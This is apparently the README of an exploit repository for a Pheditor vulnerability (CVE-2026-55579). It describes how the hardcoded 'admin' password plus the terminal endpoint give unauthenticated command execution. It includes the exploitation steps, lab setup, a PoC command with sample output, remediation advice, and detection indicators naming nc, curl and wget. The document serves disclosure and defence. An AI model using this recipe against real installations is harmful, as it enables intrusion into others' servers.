CVE-2026-55579 — Pheditor Hardcoded Default Password RCE

TL;DR: Pheditor (all versions) ships with a hardcoded default administrator password (admin) embedded in its source code. There is no forced password change on first login, only a visual warning. Any unauthenticated attacker can log in as admin and abuse the built‑in terminal panel (action=terminal) to execute arbitrary OS commands with the web server's privileges. Combined with file upload capabilities, this yields unauthenticated Remote Code Execution (RCE).

Table of Contents

1. Vulnerability Overview
2. The Root Cause
3. Exploitation Flow
4. Quick Start & Reproduction
5. Impact
6. Remediation
7. Detection
8. Credits & Disclaimer

Vulnerability Overview

The Root Cause

The vulnerability stems from a hardcoded SHA‑512 hash of the password admin inside pheditor.php (line 11):

define('PASSWORD', 'c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec');

This hash corresponds to:

echo -n 'admin' | sha512sum

Why this is a game over:

1. The password is never forced to be changed – the application only displays a warning banner (lines 1956–1958 in pheditor.php).
2. With admin/admin, an attacker can log in and gain full access to:
   • Terminal panel – executes arbitrary system commands (action=terminal)
   • File upload – uploads arbitrary files (action=upload)
   • File editor – reads and writes any file within the web server's permissions (action=open/action=save)

There is no rate‑limiting, no lockout, and no additional authentication factor.

Exploitation Flow

The attack is extremely simple and requires zero guessing:

1. Authenticate – send a POST request to pheditor.php with pheditor_password=admin. The server sets a session cookie.
2. Extract CSRF token – fetch the main page and parse the token JavaScript variable.
3. RCE via Terminal – send a POST request with:
   • action=terminal
   • token=<extracted>
   • command=<OS command>
   • dir= (optional)
4. Output – the command output is returned inside HTML <pre> tags and can be parsed cleanly.

Alternatively, the attacker can upload a web shell or overwrite application files.

Quick Start & Reproduction

1. Spin up the Vulnerable Lab

Clone the official repository and start a local server:

git clone https://github.com/pheditor/pheditor.git /tmp/pheditor
cd /tmp/pheditor
php -S localhost:8080 pheditor.php &

2. Execute the PoC

The provided Python exploit relies only on the Python standard library (no external dependencies). It features argparse‑based CLI, advanced error handling, verbose mode, and timeout control.

python3 exploit.py http://localhost:8080/pheditor.php "id; hostname; whoami"

3. Expected Output

[*] Logging in with password: admin
[+] Login successful
[*] Extracting CSRF token...
[+] Token: a1b2c3d4e5f6...
[*] Executing: id; hostname; whoami

==================================================
Command Output:
==================================================
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ubuntu
www-data
==================================================

Impact

Successful exploitation grants the attacker:

• Full file system access (read/write/delete) – compromise of application code, configuration, and data.
• Arbitrary command execution – allows installing backdoors, pivoting to internal networks, or exfiltrating sensitive information.
• Privilege escalation – if the web server runs as a privileged user (often root), the attacker gains full control of the host.
• Complete loss of confidentiality, integrity, and availability – as reflected by the CVSS score.

Given that Pheditor is often used in development environments or as a lightweight file manager, attackers can easily find and exploit it to gain initial footholds.

Remediation

1. Immediate action: Change the default password immediately upon installation. Use a strong, unique password.
2. Disable terminal functionality if not strictly required (remove the terminal panel from the UI or add a configuration flag to disable it).
3. Apply vendor patch as soon as it becomes available (the maintainer has been notified and a fix is expected).
4. Defense in depth:
   • Restrict access to the Pheditor interface via IP whitelisting or VPN.
   • Run the web server with least‑privilege (non‑root) user.
   • Monitor access logs for suspicious patterns (e.g., pheditor_password=admin).

Detection

Monitor your environment for indicators of compromise:

• Access logs: Look for POST requests to pheditor.php with pheditor_password=admin or action=terminal.
• File modifications: Unexpected new files (e.g., web shells) or changes to existing application files.
• Process execution: Unusual commands being executed by the web server user, especially those involving sh, bash, nc, curl, or wget.
• Outbound connections: The web server making unexpected outbound connections (reverse shells, data exfiltration).

For a deeper dive into the exploit chain and additional payloads, refer to ANALYSIS.md.

Credits & Disclaimer

• Repository Owner: Ch4120N
• Exploit Development & Research: Ch4120N
• Advisory Reference: GHSA-p4h7-p9rj-2pq2

Disclaimer: This repository contains a Proof of Concept (PoC) intended strictly for defensive, educational, and authorized security testing purposes. Do not use this code against systems you do not own or have explicit written permission to test. The authors assume no liability for misuse.